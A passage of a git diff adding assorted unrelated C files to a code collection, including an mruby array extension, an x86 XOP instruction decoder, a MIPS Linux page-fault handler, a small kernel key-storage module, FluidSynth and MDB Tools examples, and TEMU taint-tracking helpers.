+  mrb_get_args(mrb, "i", &pos);
+
+  return mrb_ary_entry(ary, pos);
+}
+
+static mrb_value
+mrb_ary_values_at(mrb_state *mrb, mrb_value self)
+{
+  mrb_int argc;
+  mrb_value *argv;
+
+  mrb_get_args(mrb, "*", &argv, &argc);
+
+  return mrb_get_values_at(mrb, self, RARRAY_LEN(self), argc, argv, mrb_ary_ref);
+}
+
+/*
+ *  call-seq:
+ *     ary.to_h   ->   Hash
+ *
+ *  Returns the result of interpreting <i>aray</i> as an array of
+ *  <tt>[key, value]</tt> paris.
+ *
+ *      [[:foo, :bar], [1, 2]].to_h
+ *        # => {:foo => :bar, 1 => 2}
+ *
+ */
+
+static mrb_value
+mrb_ary_to_h(mrb_state *mrb, mrb_value ary)
+{
+  mrb_int i;
+  mrb_value v, hash;
+
+  hash = mrb_hash_new_capa(mrb, 0);
+
+  for (i = 0; i < RARRAY_LEN(ary); ++i) {
+    mrb_value elt = RARRAY_PTR(ary)[i];
+    v = mrb_check_array_type(mrb, elt);
+
+    if (mrb_nil_p(v)) {
+      mrb_raisef(mrb, E_TYPE_ERROR, "wrong element type %S at %S (expected array)",
+                 mrb_str_new_cstr(mrb,  mrb_obj_classname(mrb, elt)),
+                 mrb_fixnum_value(i)
+      );
+    }
+
+    if (RARRAY_LEN(v) != 2) {
+      mrb_raisef(mrb, E_ARGUMENT_ERROR, "wrong array length at %S (expected 2, was %S)",
+                 mrb_fixnum_value(i),
+                 mrb_fixnum_value(RARRAY_LEN(v))
+      );
+    }
+
+    mrb_hash_set(mrb, hash, RARRAY_PTR(v)[0], RARRAY_PTR(v)[1]);
+  }
+
+  return hash;
+}
+
+/*
+ *  call-seq:
+ *     ary.slice!(index)         -> obj or nil
+ *     ary.slice!(start, length) -> new_ary or nil
+ *     ary.slice!(range)         -> new_ary or nil
+ *
+ *  Deletes the element(s) given by an +index+ (optionally up to +length+
+ *  elements) or by a +range+.
+ *
+ *  Returns the deleted object (or objects), or +nil+ if the +index+ is out of
+ *  range.
+ *
+ *     a = [ "a", "b", "c" ]
+ *     a.slice!(1)     #=> "b"
+ *     a               #=> ["a", "c"]
+ *     a.slice!(-1)    #=> "c"
+ *     a               #=> ["a"]
+ *     a.slice!(100)   #=> nil
+ *     a               #=> ["a"]
+ */
+
+static mrb_value
+mrb_ary_slice_bang(mrb_state *mrb, mrb_value self)
+{
+  struct RArray *a = mrb_ary_ptr(self);
+  mrb_int i, j, k, len, alen = ARY_LEN(a);
+  mrb_value val;
+  mrb_value *ptr;
+  mrb_value ary;
+
+  mrb_ary_modify(mrb, a);
+
+  if (mrb_get_argc(mrb) == 1) {
+    mrb_value index;
+
+    mrb_get_args(mrb, "o|i", &index, &len);
+    switch (mrb_type(index)) {
+    case MRB_TT_RANGE:
+      if (mrb_range_beg_len(mrb, index, &i, &len, alen, TRUE) == 1) {
+        goto delete_pos_len;
+      }
+      else {
+        return mrb_nil_value();
+      }
+    case MRB_TT_FIXNUM:
+      val = mrb_funcall(mrb, self, "delete_at", 1, index);
+      return val;
+    default:
+      val = mrb_funcall(mrb, self, "delete_at", 1, index);
+      return val;
+    }
+  }
+
+  mrb_get_args(mrb, "ii", &i, &len);
+ delete_pos_len:
+  if (i < 0) i += alen;
+  if (i < 0 || alen < i) return mrb_nil_value();
+  if (len < 0) return mrb_nil_value();
+  if (alen == i) return mrb_ary_new(mrb);
+  if (len > alen - i) len = alen - i;
+
+  ary = mrb_ary_new_capa(mrb, len);
+  ptr = ARY_PTR(a);
+  for (j = i, k = 0; k < len; ++j, ++k) {
+    mrb_ary_push(mrb, ary, ptr[j]);
+  }
+
+  ptr += i;
+  for (j = i; j < alen - len; ++j) {
+    *ptr = *(ptr+len);
+    ++ptr;
+  }
+
+  mrb_ary_resize(mrb, self, alen - len);
+  return ary;
+}
+
+void
+mrb_mruby_array_ext_gem_init(mrb_state* mrb)
+{
+  struct RClass * a = mrb->array_class;
+
+  mrb_define_method(mrb, a, "assoc",  mrb_ary_assoc,  MRB_ARGS_REQ(1));
+  mrb_define_method(mrb, a, "at",     mrb_ary_at,     MRB_ARGS_REQ(1));
+  mrb_define_method(mrb, a, "rassoc", mrb_ary_rassoc, MRB_ARGS_REQ(1));
+  mrb_define_method(mrb, a, "values_at", mrb_ary_values_at, MRB_ARGS_ANY());
+  mrb_define_method(mrb, a, "to_h",   mrb_ary_to_h, MRB_ARGS_REQ(0));
+  mrb_define_method(mrb, a, "slice!", mrb_ary_slice_bang,   MRB_ARGS_ANY());
+}
+
+void
+mrb_mruby_array_ext_gem_final(mrb_state* mrb)
+{
+}
diff --git a/pool/shard001/C/0024118_amd-xop.c b/pool/shard001/C/0024118_amd-xop.c
new file mode 100644
index 0000000000000000000000000000000000000000..b6fa0bcf4d73831018068f60466168492203c96c
--- /dev/null
+++ b/pool/shard001/C/0024118_amd-xop.c
@@ -0,0 +1,251 @@
+#include "amd-xop.h"
+
+typedef unsigned char uc;
+typedef struct {
+  uc vex  : 8;
+  uc opcp : 5;
+  uc B    : 1;
+  uc X    : 1;
+  uc R    : 1;
+  uc pp   : 2;
+  uc L    : 1;
+  uc vv   : 4;
+  uc W    : 1;
+  uc opc  : 8;
+  uc r_m  : 3;
+  uc reg  : 3;
+  uc mod  : 2;
+} apm_t;
+
+typedef struct {
+  uc vex  : 8;
+  uc pp   : 2;
+  uc L    : 1;
+  uc vv   : 4;
+  uc R    : 1;
+  uc opc  : 8;
+  uc r_m  : 3;
+  uc reg  : 3;
+  uc mod  : 2;
+} apm_c5_t;
+
+static const uc vex_op4_tbl[] = {
+  0x48,
+  0x49,
+  0x5c,
+  0x5d,
+  0x5e,
+  0x5f,
+  0x68,
+  0x69,
+  0x6a,
+  0x6b,
+  0x6c,
+  0x6d,
+  0x6e,
+  0x6f,
+  0x78,
+  0x79,
+  0x7a,
+  0x7b,
+  0x7c,
+  0x7d,
+  0x7e,
+  0x7f,
+};
+
+static const uc xop_op4_tbl[] = {
+  0x85,
+  0x86,
+  0x87,
+  0x8e,
+  0x8f,
+  0x95,
+  0x96,
+  0x97,
+  0x9f,
+  0xa2,
+  0xa3,
+  0xa6,
+  0xb6,
+  0xcc,
+  0xcd,
+  0xce,
+  0xcf,
+  0xec,
+  0xed,
+  0xee,
+  0xef,
+};
+
+#define Table_spec(t) t, sizeof(t)
+#define Opc_in_tbl(t) opc_in_table(opc, Table_spec(t))
+
+static bool
+default_false(void* seq)
+{
+  return false;
+}
+
+static inline bool
+opc_in_table(uc opc, const uc opc_tbl[], const size_t len)
+{
+  for(size_t i=0; i < len; i++)
+    if (opc == opc_tbl[i]) return true;
+  return false;
+}
+
+static bool
+xop_op4(void* seq)
+{
+  apm_t* in = seq;
+  uc opc = in->opc;
+
+  return Opc_in_tbl(xop_op4_tbl);
+}
+
+static bool
+vex_op4(void* seq)
+{
+  apm_t* in = seq;
+  uc opc = in->opc;
+
+  return Opc_in_tbl(vex_op4_tbl);
+}
+
+static bool
+vex5_op4(void* seq)
+{
+  apm_c5_t* in = seq;
+  uc opc = in->opc;
+
+  return Opc_in_tbl(vex_op4_tbl);
+}
+
+static size_t
+op4_imm(void* seq)
+{
+  uc* in = seq;
+
+  bool has4 = false;
+  if (*in == 0xc4)
+    has4 = vex_op4(seq);
+  if (*in == 0xc5)
+    has4 = vex5_op4(seq);
+  if (*in == 0x8f)
+    has4 = xop_op4(seq);
+
+  return has4 ? 1 : 0;
+}
+
+static size_t
+disp_size(void* seq)
+{
+  uc* escape = seq;
+  size_t rv = 0;
+  uc mod = 0xff;
+  uc r_m = 0xff;
+
+  if ((*escape == 0xc4) || (*escape == 0x8f)) {
+    apm_t* in = seq;
+    mod = in->mod;
+    r_m = in->r_m;
+  }
+  if (*escape == 0xc5) {
+    apm_c5_t* in = seq;
+    mod = in->mod;
+    r_m = in->r_m;
+  }
+
+  if ((mod == 0) && (r_m == 5)) rv = 4;
+  else if (mod == 1) rv = 1;
+  else if (mod == 2) rv = 4;
+
+  return rv;
+}
+
+static size_t
+sib_byte(void* seq)
+{
+  uc* escape = seq;
+  uc r_m = 0xff;
+  uc mod = 0xff;
+
+  if ((*escape == 0xc4) || (*escape == 0x8f)) {
+    apm_t* in = seq;
+    mod = in->mod;
+    r_m = in->r_m;
+  }
+  if (*escape == 0xc5) {
+    apm_c5_t* in = seq;
+    mod = in->mod;
+    r_m = in->r_m;
+  }
+
+  return (mod != 3) && (r_m == 4) ? 1 : 0;
+}
+
+static size_t
+escape_len(void* seq)
+{
+  uc* escape = seq;
+
+  if ((*escape == 0xc4) || (*escape == 0x8f))
+    return sizeof(apm_t);
+  if (*escape == 0xc5)
+    return sizeof(apm_c5_t);
+
+  return 1;
+}
+
+static inline size_t
+ins_len(void* seq)
+{
+  // length of instruction = size of escape seq + #immediate bytes + # disp bytes + # sib bytes
+  return escape_len(seq) + op4_imm(seq) + disp_size(seq) + sib_byte(seq);
+}
+
+static const uc prefix_tbl[] = {
+  0x66, // op size override
+  0x67, // addr size override
+  0x2e, 0x3e, 0x26, 0x64, 0x65, 0x36, // segment override
+  0xf0, // lock
+  0xf2, 0xf3, // repeat
+};
+
+static bool
+is_prefix(void* ins)
+{
+  uc* in = ins;
+  for (int i = 0; i < sizeof(prefix_tbl); i++) {
+    if (*in ==prefix_tbl[i]) return true;
+  }
+  return false;
+}
+
+void
+adv_amd_decode(amd_decode_t* stat, void* ins)
+{
+  uc* in = ins;
+  stat->len = 0;
+  // skip standard prefixes
+  for (int i = 0; i < 4; i++) {
+    if (is_prefix(in)) {
+      in++;
+      (stat->len)++;
+    }
+    else break;
+  }
+  stat->success = false;
+  stat->weak    = false;
+
+  if (*in == 0xc4) {
+    stat->success = true;
+  }
+  if (*in == 0x8f) {
+    stat->success = true;
+    stat->weak = true;
+  }
+
+  stat->len += ins_len(in);
+}
diff --git a/pool/shard001/C/0024123_fault.c b/pool/shard001/C/0024123_fault.c
new file mode 100644
index 0000000000000000000000000000000000000000..783ad0065fdf49e8c35df2499e8fc7eca9b59ef4
--- /dev/null
+++ b/pool/shard001/C/0024123_fault.c
@@ -0,0 +1,287 @@
+/*
+ * This file is subject to the terms and conditions of the GNU General Public
+ * License.  See the file "COPYING" in the main directory of this archive
+ * for more details.
+ *
+ * Copyright (C) 1995 - 2000 by Ralf Baechle
+ */
+#include <linux/signal.h>
+#include <linux/sched.h>
+#include <linux/interrupt.h>
+#include <linux/kernel.h>
+#include <linux/errno.h>
+#include <linux/string.h>
+#include <linux/types.h>
+#include <linux/ptrace.h>
+#include <linux/mman.h>
+#include <linux/mm.h>
+#include <linux/smp.h>
+#include <linux/module.h>
+#include <linux/kprobes.h>
+
+#include <asm/branch.h>
+#include <asm/mmu_context.h>
+#include <asm/system.h>
+#include <asm/uaccess.h>
+#include <asm/ptrace.h>
+#include <asm/highmem.h>		/* For VMALLOC_END */
+#include <linux/kdebug.h>
+
+/*
+ * This routine handles page faults.  It determines the address,
+ * and the problem, and then passes it off to one of the appropriate
+ * routines.
+ */
+asmlinkage void __kprobes do_page_fault(struct pt_regs *regs, unsigned long write,
+			      unsigned long address)
+{
+	struct vm_area_struct * vma = NULL;
+	struct task_struct *tsk = current;
+	struct mm_struct *mm = tsk->mm;
+	const int field = sizeof(unsigned long) * 2;
+	siginfo_t info;
+	int fault;
+
+#if 0
+	printk("Cpu%d[%s:%d:%0*lx:%ld:%0*lx]\n", raw_smp_processor_id(),
+	       current->comm, current->pid, field, address, write,
+	       field, regs->cp0_epc);
+#endif
+
+#ifdef CONFIG_KPROBES
+	/*
+	 * This is to notify the fault handler of the kprobes.  The
+	 * exception code is redundant as it is also carried in REGS,
+	 * but we pass it anyhow.
+	 */
+	if (notify_die(DIE_PAGE_FAULT, "page fault", regs, -1,
+		       (regs->cp0_cause >> 2) & 0x1f, SIGSEGV) == NOTIFY_STOP)
+		return;
+#endif
+
+	info.si_code = SEGV_MAPERR;
+
+	/*
+	 * We fault-in kernel-space virtual memory on-demand. The
+	 * 'reference' page table is init_mm.pgd.
+	 *
+	 * NOTE! We MUST NOT take any locks for this case. We may
+	 * be in an interrupt or a critical region, and should
+	 * only copy the information from the master page table,
+	 * nothing more.
+	 */
+#ifdef CONFIG_64BIT
+# define VMALLOC_FAULT_TARGET no_context
+#else
+# define VMALLOC_FAULT_TARGET vmalloc_fault
+#endif
+
+	if (unlikely(address >= VMALLOC_START && address <= VMALLOC_END))
+		goto VMALLOC_FAULT_TARGET;
+#ifdef MODULE_START
+	if (unlikely(address >= MODULE_START && address < MODULE_END))
+		goto VMALLOC_FAULT_TARGET;
+#endif
+
+	/*
+	 * If we're in an interrupt or have no user
+	 * context, we must not take the fault..
+	 */
+	if (in_atomic() || !mm)
+		goto bad_area_nosemaphore;
+
+	down_read(&mm->mmap_sem);
+	vma = find_vma(mm, address);
+	if (!vma)
+		goto bad_area;
+	if (vma->vm_start <= address)
+		goto good_area;
+	if (!(vma->vm_flags & VM_GROWSDOWN))
+		goto bad_area;
+	if (expand_stack(vma, address))
+		goto bad_area;
+/*
+ * Ok, we have a good vm_area for this memory access, so
+ * we can handle it..
+ */
+good_area:
+	info.si_code = SEGV_ACCERR;
+
+	if (write) {
+		if (!(vma->vm_flags & VM_WRITE))
+			goto bad_area;
+	} else {
+		if (kernel_uses_smartmips_rixi) {
+			if (address == regs->cp0_epc && !(vma->vm_flags & VM_EXEC)) {
+#if 0
+				pr_notice("Cpu%d[%s:%d:%0*lx:%ld:%0*lx] XI violation\n",
+					  raw_smp_processor_id(),
+					  current->comm, current->pid,
+					  field, address, write,
+					  field, regs->cp0_epc);
+#endif
+				goto bad_area;
+			}
+			if (!(vma->vm_flags & VM_READ)) {
+#if 0
+				pr_notice("Cpu%d[%s:%d:%0*lx:%ld:%0*lx] RI violation\n",
+					  raw_smp_processor_id(),
+					  current->comm, current->pid,
+					  field, address, write,
+					  field, regs->cp0_epc);
+#endif
+				goto bad_area;
+			}
+		} else {
+			if (!(vma->vm_flags & (VM_READ | VM_WRITE | VM_EXEC)))
+				goto bad_area;
+		}
+	}
+
+	/*
+	 * If for any reason at all we couldn't handle the fault,
+	 * make sure we exit gracefully rather than endlessly redo
+	 * the fault.
+	 */
+	fault = handle_mm_fault(mm, vma, address, write ? FAULT_FLAG_WRITE : 0);
+	if (unlikely(fault & VM_FAULT_ERROR)) {
+		if (fault & VM_FAULT_OOM)
+			goto out_of_memory;
+		else if (fault & VM_FAULT_SIGBUS)
+			goto do_sigbus;
+		BUG();
+	}
+	if (fault & VM_FAULT_MAJOR)
+		tsk->maj_flt++;
+	else
+		tsk->min_flt++;
+
+	up_read(&mm->mmap_sem);
+	return;
+
+/*
+ * Something tried to access memory that isn't in our memory map..
+ * Fix it, but check if it's kernel or user first..
+ */
+bad_area:
+	up_read(&mm->mmap_sem);
+
+bad_area_nosemaphore:
+	/* User mode accesses just cause a SIGSEGV */
+	if (user_mode(regs)) {
+		tsk->thread.cp0_badvaddr = address;
+		tsk->thread.error_code = write;
+#if 0
+		printk("do_page_fault() #2: sending SIGSEGV to %s for "
+		       "invalid %s\n%0*lx (epc == %0*lx, ra == %0*lx)\n",
+		       tsk->comm,
+		       write ? "write access to" : "read access from",
+		       field, address,
+		       field, (unsigned long) regs->cp0_epc,
+		       field, (unsigned long) regs->regs[31]);
+#endif
+		info.si_signo = SIGSEGV;
+		info.si_errno = 0;
+		/* info.si_code has been set above */
+		info.si_addr = (void __user *) address;
+		force_sig_info(SIGSEGV, &info, tsk);
+		return;
+	}
+
+no_context:
+	/* Are we prepared to handle this kernel fault?  */
+	if (fixup_exception(regs)) {
+		current->thread.cp0_baduaddr = address;
+		return;
+	}
+
+	/*
+	 * Oops. The kernel tried to access some bad page. We'll have to
+	 * terminate things with extreme prejudice.
+	 */
+	bust_spinlocks(1);
+
+	printk(KERN_ALERT "CPU %d Unable to handle kernel paging request at "
+	       "virtual address %0*lx, epc == %0*lx, ra == %0*lx\n",
+	       raw_smp_processor_id(), field, address, field, regs->cp0_epc,
+	       field,  regs->regs[31]);
+	die("Oops", regs);
+
+out_of_memory:
+	/*
+	 * We ran out of memory, call the OOM killer, and return the userspace
+	 * (which will retry the fault, or kill us if we got oom-killed).
+	 */
+	up_read(&mm->mmap_sem);
+	pagefault_out_of_memory();
+	return;
+
+do_sigbus:
+	up_read(&mm->mmap_sem);
+
+	/* Kernel mode? Handle exceptions or die */
+	if (!user_mode(regs))
+		goto no_context;
+	else
+	/*
+	 * Send a sigbus, regardless of whether we were in kernel
+	 * or user mode.
+	 */
+#if 0
+		printk("do_page_fault() #3: sending SIGBUS to %s for "
+		       "invalid %s\n%0*lx (epc == %0*lx, ra == %0*lx)\n",
+		       tsk->comm,
+		       write ? "write access to" : "read access from",
+		       field, address,
+		       field, (unsigned long) regs->cp0_epc,
+		       field, (unsigned long) regs->regs[31]);
+#endif
+	tsk->thread.cp0_badvaddr = address;
+	info.si_signo = SIGBUS;
+	info.si_errno = 0;
+	info.si_code = BUS_ADRERR;
+	info.si_addr = (void __user *) address;
+	force_sig_info(SIGBUS, &info, tsk);
+
+	return;
+#ifndef CONFIG_64BIT
+vmalloc_fault:
+	{
+		/*
+		 * Synchronize this task's top level page-table
+		 * with the 'reference' page table.
+		 *
+		 * Do _not_ use "tsk" here. We might be inside
+		 * an interrupt in the middle of a task switch..
+		 */
+		int offset = __pgd_offset(address);
+		pgd_t *pgd, *pgd_k;
+		pud_t *pud, *pud_k;
+		pmd_t *pmd, *pmd_k;
+		pte_t *pte_k;
+
+		pgd = (pgd_t *) pgd_current[raw_smp_processor_id()] + offset;
+		pgd_k = init_mm.pgd + offset;
+
+		if (!pgd_present(*pgd_k))
+			goto no_context;
+		set_pgd(pgd, *pgd_k);
+
+		pud = pud_offset(pgd, address);
+		pud_k = pud_offset(pgd_k, address);
+		if (!pud_present(*pud_k))
+			goto no_context;
+
+		pmd = pmd_offset(pud, address);
+		pmd_k = pmd_offset(pud_k, address);
+		if (!pmd_present(*pmd_k))
+			goto no_context;
+		set_pmd(pmd, *pmd_k);
+
+		pte_k = pte_offset_kernel(pmd_k, address);
+		if (!pte_present(*pte_k))
+			goto no_context;
+		return;
+	}
+#endif
+}
diff --git a/pool/shard001/C/0024129_realloc.c b/pool/shard001/C/0024129_realloc.c
new file mode 100644
index 0000000000000000000000000000000000000000..83510cb86a25d86599878445eaccee1306bdd704
--- /dev/null
+++ b/pool/shard001/C/0024129_realloc.c
@@ -0,0 +1,43 @@
+#include <stdlib.h>
+#include <stdio.h>
+
+int
+realloc_rewrite(char **ptr,int size,int new_size)
+{
+ int ret = 1;
+ int i = 0;
+ int len;
+
+ char *pptr = NULL;
+ char *tmp = NULL;
+ char *ptr_src = *ptr;
+
+ if(NULL != ptr && 0 < new_size){
+  pptr = (char *)malloc(new_size);
+  tmp = pptr;
+  len = (size < new_size) ? size : new_size;
+  for(i = 0; i < len; i++)
+   *tmp++ = *ptr_src++;
+  free(*ptr);
+  *ptr = pptr;
+ } else
+  ret = 0;
+
+ return ret;
+}
+
+int
+main()
+{
+ char *ptr = NULL;
+ ptr = (char *)malloc(10);
+ ptr[0] = 1;
+ ptr[1] = 2;
+
+ printf("%d %d\n", ptr[1], sizeof(ptr));
+
+ if(realloc_rewrite(&ptr, 10, 100))
+  printf("%d %d\n", ptr[1], sizeof(ptr));
+
+ return 0;
+}
diff --git a/pool/shard001/C/0024130_keymanager.c b/pool/shard001/C/0024130_keymanager.c
new file mode 100644
index 0000000000000000000000000000000000000000..a11c9a54e5e201c3f6979b32be8f59d389d8380b
--- /dev/null
+++ b/pool/shard001/C/0024130_keymanager.c
@@ -0,0 +1,64 @@
+#include <linux/init.h>
+#include <linux/module.h>
+#include <linux/kernel.h>
+#include <linux/module.h>
+#include <linux/fs.h>
+#include <asm/uaccess.h>
+
+#define DEVICE_NAME "key_manager"
+#define MAJOR_NUM 138
+#define KEY_LEN 20
+
+#define IOC_STOREKEY	0xee
+#define IOC_CLEARKEY	0xef
+
+uint8_t keyring[KEY_LEN];
+EXPORT_SYMBOL(keyring);
+
+long device_ioctl(
+                 struct file *file,
+                 unsigned int ioctl_num,
+                 unsigned long ioctl_param)
+{
+	int ret_val;
+        switch (ioctl_num) {
+        	case IOC_STOREKEY:
+			printk("Storing keyring\n");
+        		ret_val = copy_from_user(keyring, (char *)ioctl_param, KEY_LEN); //TODO
+        		break;
+		case IOC_CLEARKEY:
+			printk("Clearing keyring\n");
+			memset(keyring,0,KEY_LEN);
+			break;
+        }
+
+        return 0;
+}
+
+
+struct file_operations fops = {
+        .unlocked_ioctl = device_ioctl,
+};
+
+static int init_keymanager(void)
+{
+        int ret_val;
+
+        ret_val = register_chrdev(MAJOR_NUM, DEVICE_NAME, &fops);
+        if (ret_val < 0) {
+                printk("failed with %d\n", ret_val);
+                return ret_val;
+        }
+	printk("keymanager module inserted\n");
+        return 0;
+}
+
+static void cleanup_keymanager(void)
+{
+	unregister_chrdev(MAJOR_NUM, DEVICE_NAME);
+	printk("keymanager module removed\n");
+}
+
+MODULE_LICENSE("Dual BSD/GPL");
+module_init(init_keymanager);
+module_exit(cleanup_keymanager);
diff --git a/pool/shard001/C/0024131_example.c b/pool/shard001/C/0024131_example.c
new file mode 100644
index 0000000000000000000000000000000000000000..69d8b83891e1de5c769fafdf623af3c2ed0fe780
--- /dev/null
+++ b/pool/shard001/C/0024131_example.c
@@ -0,0 +1,85 @@
+/*
+
+  An example of how to use FluidSynth.
+
+  To compile it on Linux:
+  $ gcc -o example example.c `pkg-config fluidsynth --libs`
+
+  To compile it on Windows:
+    ...
+
+
+  Author: Peter Hanappe.
+  This code is in the public domain. Use it as you like.
+
+*/
+
+#include <fluidsynth.h>
+
+#if defined(WIN32)
+#include <windows.h>
+#define sleep(_t) Sleep(_t * 1000)
+#include <process.h>
+#define getpid _getpid
+#else
+#include <stdlib.h>
+#include <unistd.h>
+#endif
+
+int main(int argc, char **argv)
+{
+    fluid_settings_t *settings;
+    fluid_synth_t *synth;
+    fluid_audio_driver_t *adriver;
+    int sfont_id;
+    int i, key;
+
+    /* Create the settings. */
+    settings = new_fluid_settings();
+
+    /* Change the settings if necessary*/
+
+    /* Create the synthesizer. */
+    synth = new_fluid_synth(settings);
+
+    /* Create the audio driver. The synthesizer starts playing as soon
+       as the driver is created. */
+    adriver = new_fluid_audio_driver(settings, synth);
+
+    /* Load a SoundFont and reset presets (so that new instruments
+     * get used from the SoundFont) */
+    sfont_id = fluid_synth_sfload(synth, "example.sf2", 1);
+
+    if(sfont_id == FLUID_FAILED)
+    {
+        puts("Loading the SoundFont failed!");
+        goto err;
+    }
+
+    /* Initialize the random number generator */
+    srand(getpid());
+
+    for(i = 0; i < 12; i++)
+    {
+
+        /* Generate a random key */
+        key = 60 + (int)(12.0f * rand() / (float) RAND_MAX);
+
+        /* Play a note */
+        fluid_synth_noteon(synth, 0, key, 80);
+
+        /* Sleep for 1 second */
+        sleep(1);
+
+        /* Stop the note */
+        fluid_synth_noteoff(synth, 0, key);
+    }
+
+err:
+    /* Clean up */
+    delete_fluid_audio_driver(adriver);
+    delete_fluid_synth(synth);
+    delete_fluid_settings(settings);
+
+    return 0;
+}
diff --git a/pool/shard001/C/0024140_prole.c b/pool/shard001/C/0024140_prole.c
new file mode 100644
index 0000000000000000000000000000000000000000..8f56ee2254dd820e202e610585509e340064782b
--- /dev/null
+++ b/pool/shard001/C/0024140_prole.c
@@ -0,0 +1,87 @@
+/* MDB Tools - A library for reading MS Access database file
+ * Copyright (C) 2000 Brian Bruns
+ *
+ * This program is free software; you can redistribute it and/or modify
+ * it under the terms of the GNU General Public License as published by
+ * the Free Software Foundation; either version 2 of the License, or
+ * (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ * GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License along
+ * with this program; if not, write to the Free Software Foundation, Inc.,
+ * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
+ */
+
+#include "mdbtools.h"
+
+void dump_ole(MdbTableDef *table, char *colname, char *sargname);
+
+int
+main(int argc, char **argv)
+{
+	MdbHandle *mdb;
+	MdbTableDef *table;
+	char *dot, *colname, *tabname;
+	char *sargname = NULL;
+
+
+	if (argc<2) {
+		fprintf(stderr,"Usage: %s <file> <table.column> [sargs]\n",argv[0]);
+		exit(1);
+	}
+	
+	mdb = mdb_open(argv[1], MDB_NOFLAGS);
+	dot = strchr(argv[2],'.');
+	if (argc>3) sargname = argv[3];
+
+	if (!dot) {
+		fprintf(stderr,"Usage: %s <file> <table.column> [sarg]\n",argv[0]);
+		exit(1);
+	}
+	tabname = argv[2];
+	*dot='\0';
+	colname = ++dot;
+
+	table = mdb_read_table_by_name(mdb, tabname, MDB_TABLE);
+
+	if (table) {
+		mdb_read_columns(table);
+		dump_ole(table, colname, sargname);
+		mdb_free_tabledef(table);
+	}
+
+	mdb_close(mdb);
+	return 0;
+}
+
+void dump_ole(MdbTableDef *table, char *colname, char *sargname)
+{
+char ole_data[200000];
+int len;
+MdbSarg sarg;
+char *sargcol, *sargop, *sargval;
+
+	mdb_bind_column_by_name(table, colname, ole_data, &len);
+
+	if (sargname) {
+		sargcol = strtok(sargname," ");
+		sargop = strtok(NULL," ");
+		sargval = strtok(NULL," ");
+		printf("col %s op %s val %s\n",sargcol,sargop,sargval);
+        	sarg.op = MDB_EQUAL; /* only support = for now, sorry */
+		strcpy(sarg.value.s, sargval);
+		mdb_add_sarg_by_name(table, sargcol, &sarg);
+	}
+
+        mdb_rewind_table(table);
+	while (mdb_fetch_row(table)) {
+		mdb_buffer_dump(ole_data, 0, len);
+		printf("---\n");
+	}
+
+}
+
diff --git a/pool/shard001/C/0024143_hook_helpers.c b/pool/shard001/C/0024143_hook_helpers.c
new file mode 100644
index 0000000000000000000000000000000000000000..85ff36422573eb275cae867fcbf3ebd8200142bf
--- /dev/null
+++ b/pool/shard001/C/0024143_hook_helpers.c
@@ -0,0 +1,263 @@
+/*
+TEMU-Tracecap is Copyright (C) 2006-2010, BitBlaze Team.
+
+You can redistribute and modify it under the terms of the GNU LGPL,
+version 2.1 or later, but it is made available WITHOUT ANY WARRANTY.
+
+As an additional exception, the XED and Sleuthkit libraries, including
+updated or modified versions, are excluded from the requirements of
+the LGPL as if they were standard operating system libraries.
+*/
+
+/**************************************************************************
+ * hook_helpers.c
+ *
+ * this file defines functions that are made available to hook plugins.
+ *
+ * NOTE: to create a new function for plugins to call:
+ * <hook_plugin.h>
+ * 	o Add member to hook_plugin_info_t struct for new function
+ * 	o Add typedef for function pointer type
+ * <hook_plugin.c>
+ * 	o add global variable to hook_plugin.c for new function
+ * 	o add assignment to global variable in init function
+ * <hook_helpers.h>
+
+ * 	o create extern declaration of function in hook_helpers.h
+ * <hook_helpers.c>
+ * 	o add initialization to g_plugin_info with new function
+ */
+#include "config.h"
+#include <stdio.h>
+#include <string.h>
+#include <assert.h>
+#include <ctype.h>
+#include <inttypes.h>
+#include <stdarg.h>
+#include "config.h"
+#include "../TEMU_lib.h"
+#include "hook_helpers.h"
+#include "tracecap.h"
+
+#include "../shared/procmod.h"
+
+
+#include "../shared/hooks/hook_plugin_loader.h"
+#include "../shared/hooks/function_map.h"
+#include "../shared/hookapi.h"
+
+int
+read_mem(uint32_t vaddr, int length, unsigned char *buf)
+{
+  return (TEMU_read_mem(vaddr, length, buf) < 0);
+}
+
+int
+write_mem(uint32_t vaddr, int length, unsigned char *buf)
+{
+  return (TEMU_write_mem(vaddr, length, buf) < 0);
+}
+
+static inline uint32_t SIZE_TO_MASK(uint32_t size) 
+{
+  return (size >=4)? -1 : (1<<(size*8))-1;
+}
+
+
+int
+read_reg(int reg_id, uint32_t *val)
+{
+  *val = 0;
+  TEMU_read_register(reg_id, val);
+  return 0;
+}
+
+void
+write_reg(int reg_id, uint32_t val)
+{
+  TEMU_write_register(reg_id, &val);
+}
+
+#if TAINT_ENABLED
+/* Taint a memory region. Caller is in charge of freeing param */
+int
+taint_mem(uint32_t vaddr, uint32_t size, void *param)
+{
+  hook_taint_record_t *hook_rec = param;
+  //fprintf(stderr,"tainting: 0x%x, size=%d, type=%d, origin=%d, offset=%d\n",
+  //    vaddr, size, hook_rec->source, hook_rec->origin, hook_rec->offset);
+
+  uint32_t paddr = 0, vaddr2=0;
+  taint_record_t records[64];
+  uint32_t i, j, len, offset;
+  uint32_t trOffset = hook_rec->offset;
+
+  for(i=0; i<size; i+=len) {
+    vaddr2 = vaddr;
+    paddr = TEMU_get_phys_addr((vaddr+i)&TARGET_PAGE_MASK);
+    offset = (vaddr+i)&(TARGET_PAGE_SIZE-1);
+    paddr += offset;
+    len = (TARGET_PAGE_SIZE - offset > size-i)? size-i: TARGET_PAGE_SIZE-offset;
+    
+    /* while loop is because we can only taint 64 bytes at a time */
+    int rem_size = len;
+    while (rem_size > 0) {
+      int this_size = rem_size <= 64 ? rem_size : 64;
+      
+      unsigned char vals[64];
+      assert(!read_mem(vaddr2, this_size, vals));
+    
+      for (j = 0; j < this_size; j++) {
+      	memset (&records[j],0,sizeof(taint_record_t));
+				records[j].numRecords = 1;
+				records[j].taintBytes[0].source = hook_rec->source;
+				records[j].taintBytes[0].origin = hook_rec->origin;
+				records[j].taintBytes[0].offset = trOffset;
+				trOffset++;
+      } /* end for */
+
+      /* actually do taint */
+      taintcheck_taint_memory(paddr, this_size, 
+		  	(this_size<64)? (1ULL<<size)-1: (uint64_t)(-1), 
+			(uint8_t*)records);
+      //fprintf(stderr,"  paddr=%08x vaddr2=%08x this_size=%d \n", 
+      //	paddr, vaddr2, this_size);
+
+      /* prepare for next loop iteration */
+      rem_size -= this_size;
